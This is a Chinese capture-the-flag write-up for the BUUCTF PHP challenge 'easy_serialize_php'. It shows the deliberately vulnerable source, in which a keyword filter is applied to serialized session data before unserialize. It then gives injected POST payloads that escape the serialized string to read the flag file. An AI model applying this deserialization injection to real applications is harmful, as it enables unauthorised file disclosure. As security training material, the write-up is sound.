94,【2】buuctf web [安洵杯 2019]easy_serialize_php

进入靶场
可以查看源代码

<?php
// 从 GET 请求中获取名为 'f' 的参数值,并赋值给变量 $function
// @ 符号用于抑制可能出现的错误信息
$function = @$_GET['f'];// 定义一个名为 filter 的函数,用于过滤字符串中的敏感词汇
function filter($img) {// 定义一个包含敏感词汇的数组,这些词汇会被过滤掉$filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');// 使用 implode 函数将数组中的元素用 '|' 连接起来,并添加正则表达式的边界和不区分大小写的修饰符$filter = '/'. implode('|', $filter_arr) . '/i';// 使用 preg_replace 函数将字符串中匹配到的敏感词汇替换为空字符串return preg_replace($filter, '', $img);
}// 检查 $_SESSION 数组是否存在
if ($_SESSION) {// 如果存在,则清空 $_SESSION 数组unset($_SESSION);
}// 在 $_SESSION 数组中设置 'user' 键的值为 'guest'
$_SESSION["user"] = 'guest';
// 将从 GET 请求中获取的 'f' 参数的值存储到 $_SESSION 数组的 'function' 键中
$_SESSION['function'] = $function;// 将 $_POST 数组中的变量导入到当前符号表中
// 这意味着 $_POST 中的键名会变成变量名,对应的值会赋给这些变量
extract($_POST);// 检查 $function 变量是否为空
if (!$function) {// 如果为空,则输出一个链接,点击该链接会以 highlight_file 作为 'f' 参数值再次访问当前页面echo '<a href="index.php?f=highlight_file">source_code</a>';
}// 检查 $_GET 请求中是否存在 'img_path' 参数
if (!$_GET['img_path']) {// 如果不存在,则将 'guest_img.png' 进行 Base64 编码后存储到 $_SESSION 数组的 'img' 键中$_SESSION['img'] = base64_encode('guest_img.png');
} else {// 如果存在,则先对 'img_path' 参数的值进行 Base64 编码,再进行 SHA - 1 哈希处理,最后存储到 $_SESSION 数组的 'img' 键中$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}// 对 $_SESSION 数组进行序列化,并调用 filter 函数过滤其中的敏感词汇
$serialize_info = filter(serialize($_SESSION));// 检查 $function 变量的值是否为 'highlight_file'
if ($function == 'highlight_file') {// 如果是,则使用 highlight_file 函数高亮显示当前文件(index.php)的源代码highlight_file('index.php');
}
// 检查 $function 变量的值是否为 'phpinfo'
else if ($function == 'phpinfo') {// 如果是,则使用 eval 函数执行 phpinfo(); 语句,输出 PHP 的配置信息eval('phpinfo();'); //maybe you can find something in here!
}
// 检查 $function 变量的值是否为 'show_image'
else if ($function == 'show_image') {// 如果是,则对经过过滤和序列化的 $_SESSION 信息进行反序列化$userinfo = unserialize($serialize_info);// 对反序列化后得到的 'img' 键的值进行 Base64 解码,并读取该文件的内容然后输出echo file_get_contents(base64_decode($userinfo['img']));
}
关注这句话
并且源代码中说可以用get方式传递f
f=phpinfo
出现此页面,我们在里面找找信息
看到flag字眼了
肯定要读取这个文件
回顾源代码,寻找方法
根据源代码提示
我们先将文件名进行64编码
d0g3_f1ag.php
CTF在线工具-在线base编码|在线base解码|base16编码|base32编码|base64编码
ZDBnM19mMWFnLnBocA==
要使$userinfo()的内容中存在img=>ZDBnM19mMWFnLnBocA==的键值对

要使$serialzie_info则需要存在img=>ZDBnM19mMWFnLnBocA==的键值对的序列化内容
_SESSION[imgphpflag]=;s:3:"woc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

_SESSION[imgphpflag]=;s:3:"woc";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
flag{ac37fca4-8362-4f2f-a3db-643939801681}
相关文章:
94,【2】buuctf web [安洵杯 2019]easy_serialize_php
进入靶场 可以查看源代码 <?php // 从 GET 请求中获取名为 f 的参数值,并赋值给变量 $function // 符号用于抑制可能出现的错误信息 $function $_GET[f];// 定义一个名为 filter 的函数,用于过滤字符串中的敏感词汇 function filter($img) {// 定义…...
LabVIEW如何有效地进行数据采集?
数据采集(DAQ)是许多工程项目中的核心环节,无论是测试、监控还是控制系统,准确、高效的数据采集都是至关重要的。LabVIEW作为一个图形化编程环境,提供了丰富的功能来实现数据采集,确保数据的实时性与可靠性…...
6 [新一代Github投毒针对网络安全人员钓鱼]
0x01 前言 在Github上APT组织“海莲花”发布存在后门的提权BOF,通过该项目针对网络安全从业人员进行钓鱼。不过其实早在几年前就已经有人对Visual Studio项目恶意利用进行过研究,所以投毒的手法也不算是新的技术。但这次国内有大量的安全从业者转发该钓…...
《Origin画百图》之脊线图
1.数据准备:将数据设置为y 2.选择绘图>统计图>脊线图 3.生成基础图形,并不好看,接下来对图形属性进行设置 4.双击图形>选择图案>颜色选择按点>Y值 5.这里发现颜色有色阶,过度并不平滑,需要对色阶进行更…...
linux 函数 sem_init () 信号量、sem_destroy()
(1) (2) 代码举例: #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <semaphore.h> #include <unistd.h>sem_t semaphore;void* thread_function(void* arg) …...
Kafka架构
引言 Kafka 凭借其独树一帜的分区架构,在消息中间件领域展现出了卓越的性能表现。其分区架构不仅赋予了 Kafka 强大的并行计算能力,使其能够高效处理海量数据,还显著提升了系统的容灾能力,确保在复杂的运行环境中始终保持稳定可靠…...
刷题记录 动态规划-2: 509. 斐波那契数
题目:509. 斐波那契数 难度:简单 斐波那契数 (通常用 F(n) 表示)形成的序列称为 斐波那契数列 。该数列由 0 和 1 开始,后面的每一项数字都是前面两项数字的和。也就是: F(0) 0,F(1) 1 F(n…...
RDP协议详解
以下内容包含对 RDP(Remote Desktop Protocol,远程桌面协议)及其开源实现 FreeRDP 的较为系统、深入的讲解,涵盖协议概要、历史沿革、核心原理、安全机制、安装与使用方法、扩展与未来发展趋势等方面, --- ## 一、引…...
设计模式的艺术-观察者模式
行为型模式的名称、定义、学习难度和使用频率如下表所示: 1.如何理解观察者模式 一个对象的状态或行为的变化将导致其他对象的状态或行为也发生改变,它们之间将产生联动,正所谓“触一而牵百发”。为了更好地描述对象之间存在的这种一对多&…...
【C语言设计模式学习笔记1】面向接口编程/简单工厂模式/多态
面向接口编程可以提供更高级的抽象,实现的时候,外部不需要知道内部的具体实现,最简单的是使用简单工厂模式来进行实现,比如一个Sensor具有多种表示形式,这时候可以在给Sensor结构体添加一个enum类型的type,…...
Baklib如何优化企业知识管理提升团队协作与创新能力分析
内容概要 在现代企业中,知识管理已经成为提升竞争力的关键因素之一。Baklib作为一种全面的知识管理解决方案,致力于帮助企业高效整合和运用内部及外部知识资源。它通过建立统一的知识管理框架,打破了部门之间的信息壁垒,实现了跨…...
Dubbo view
1、 说说Dubbo核心的配置有哪些? 答: 配置 配置说明 dubbo:service 服务配置 dubbo:reference 引用配置 dubbo:protocol 协议配置 dubbo:application 应用配置 dubbo:module 模块配置 dubbo:registry 注册中心配置 dubbo:monitor 监控中心配置 dubbo:pr…...
分享刷题过程中有价值的两道题目
小编在这里先祝大家新的一年里所愿皆得,万事顺意,天天开心!!! 一.水仙花数 题目描述: 求100∼999中的水仙花数。若三位数ABCA^3B^3C^3,则称ABC为水仙花数。例如153,135333112527153&…...
蓝桥杯例题六
奋斗是一种态度,也是一种生活方式。无论我们面对什么样的困难和挑战,只要心怀梦想,坚持不懈地努力,就一定能够迈向成功的道路。每一次失败都是一次宝贵的经验,每一次挫折都是一次锻炼的机会。在困难面前,我…...
DeepSeek 详细使用教程
1. 简介 DeepSeek 是一款基于人工智能技术的多功能工具,旨在帮助用户高效处理和分析数据、生成内容、解答问题、进行语言翻译等。无论是学术研究、商业分析还是日常使用,DeepSeek 都能提供强大的支持。本教程将详细介绍 DeepSeek 的各项功能及使用方法。…...
《tcp/ip协议详解》,tcp/ip协议详解
TCP/IP协议(Transmission Control Protocol/Internet Protocol)是网络通信协议的一种,也被称为“Internet协议”,是Internet上运行的基本协议,广泛应用于各种网络环境和应用场合。以下是对TCP/IP协议的详细解析&#x…...
游戏引擎 Unity - Unity 设置为简体中文、Unity 创建项目
Unity Unity 首次发布于 2005 年,属于 Unity Technologies Unity 使用的开发技术有:C# Unity 的适用平台:PC、主机、移动设备、VR / AR、Web 等 Unity 的适用领域:开发中等画质中小型项目 Unity 适合初学者或需要快速上手的开…...
【数据结构】_时间复杂度相关OJ(力扣版)
目录 1. 示例1:消失的数字 思路1:等差求和 思路2:异或运算 思路3:排序+二分查找 2. 示例2:轮转数组 思路1:逐次轮转 思路2:三段逆置(经典解法) 思路3…...
[Java]异常
在程序运行时,如果遇到问题(比如除以零、文件找不到等),程序会发生异常。异常就像是程序的“错误提醒”,当程序运行中出错时,它会停止,给出一个错误信息。我们可以通过异常处理来控制这些错误&a…...
【C++语言】卡码网语言基础课系列----13. 链表的基础操作I
文章目录 背景知识链表1、虚拟头节点(dummyNode)2、定义链表节点3、链表的插入 练习题目链表的基础操作I具体代码实现 小白寄语诗词共勉 背景知识 链表 与数组不同,链表的元素存储可以是连续的,也可以是不连续的,每个数据除了存储本身的信息…...
wordpress后台更新后 前端没变化的解决方法
使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…...
[2025CVPR]DeepVideo-R1:基于难度感知回归GRPO的视频强化微调框架详解
突破视频大语言模型推理瓶颈,在多个视频基准上实现SOTA性能 一、核心问题与创新亮点 1.1 GRPO在视频任务中的两大挑战 安全措施依赖问题 GRPO使用min和clip函数限制策略更新幅度,导致: 梯度抑制:当新旧策略差异过大时梯度消失收敛困难:策略无法充分优化# 传统GRPO的梯…...
idea大量爆红问题解决
问题描述 在学习和工作中,idea是程序员不可缺少的一个工具,但是突然在有些时候就会出现大量爆红的问题,发现无法跳转,无论是关机重启或者是替换root都无法解决 就是如上所展示的问题,但是程序依然可以启动。 问题解决…...
SciencePlots——绘制论文中的图片
文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了:一行…...
【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)
可以使用Sqliteviz这个网站免费编写sql语句,它能够让用户直接在浏览器内练习SQL的语法,不需要安装任何软件。 链接如下: sqliteviz 注意: 在转写SQL语法时,关键字之间有一个特定的顺序,这个顺序会影响到…...
基于matlab策略迭代和值迭代法的动态规划
经典的基于策略迭代和值迭代法的动态规划matlab代码,实现机器人的最优运输 Dynamic-Programming-master/Environment.pdf , 104724 Dynamic-Programming-master/README.md , 506 Dynamic-Programming-master/generalizedPolicyIteration.m , 1970 Dynamic-Programm…...
Linux --进程控制
本文从以下五个方面来初步认识进程控制: 目录 进程创建 进程终止 进程等待 进程替换 模拟实现一个微型shell 进程创建 在Linux系统中我们可以在一个进程使用系统调用fork()来创建子进程,创建出来的进程就是子进程,原来的进程为父进程。…...
【从零开始学习JVM | 第四篇】类加载器和双亲委派机制(高频面试题)
前言: 双亲委派机制对于面试这块来说非常重要,在实际开发中也是经常遇见需要打破双亲委派的需求,今天我们一起来探索一下什么是双亲委派机制,在此之前我们先介绍一下类的加载器。 目录 编辑 前言: 类加载器 1. …...
保姆级【快数学会Android端“动画“】+ 实现补间动画和逐帧动画!!!
目录 补间动画 1.创建资源文件夹 2.设置文件夹类型 3.创建.xml文件 4.样式设计 5.动画设置 6.动画的实现 内容拓展 7.在原基础上继续添加.xml文件 8.xml代码编写 (1)rotate_anim (2)scale_anim (3)translate_anim 9.MainActivity.java代码汇总 10.效果展示 逐帧…...
sshd代码修改banner
sshd服务连接之后会收到字符串: SSH-2.0-OpenSSH_9.5 容易被hacker识别此服务为sshd服务。 是否可以通过修改此banner达到让人无法识别此服务的目的呢? 不能。因为这是写的SSH的协议中的。 也就是协议规定了banner必须这么写。 SSH- 开头,…...
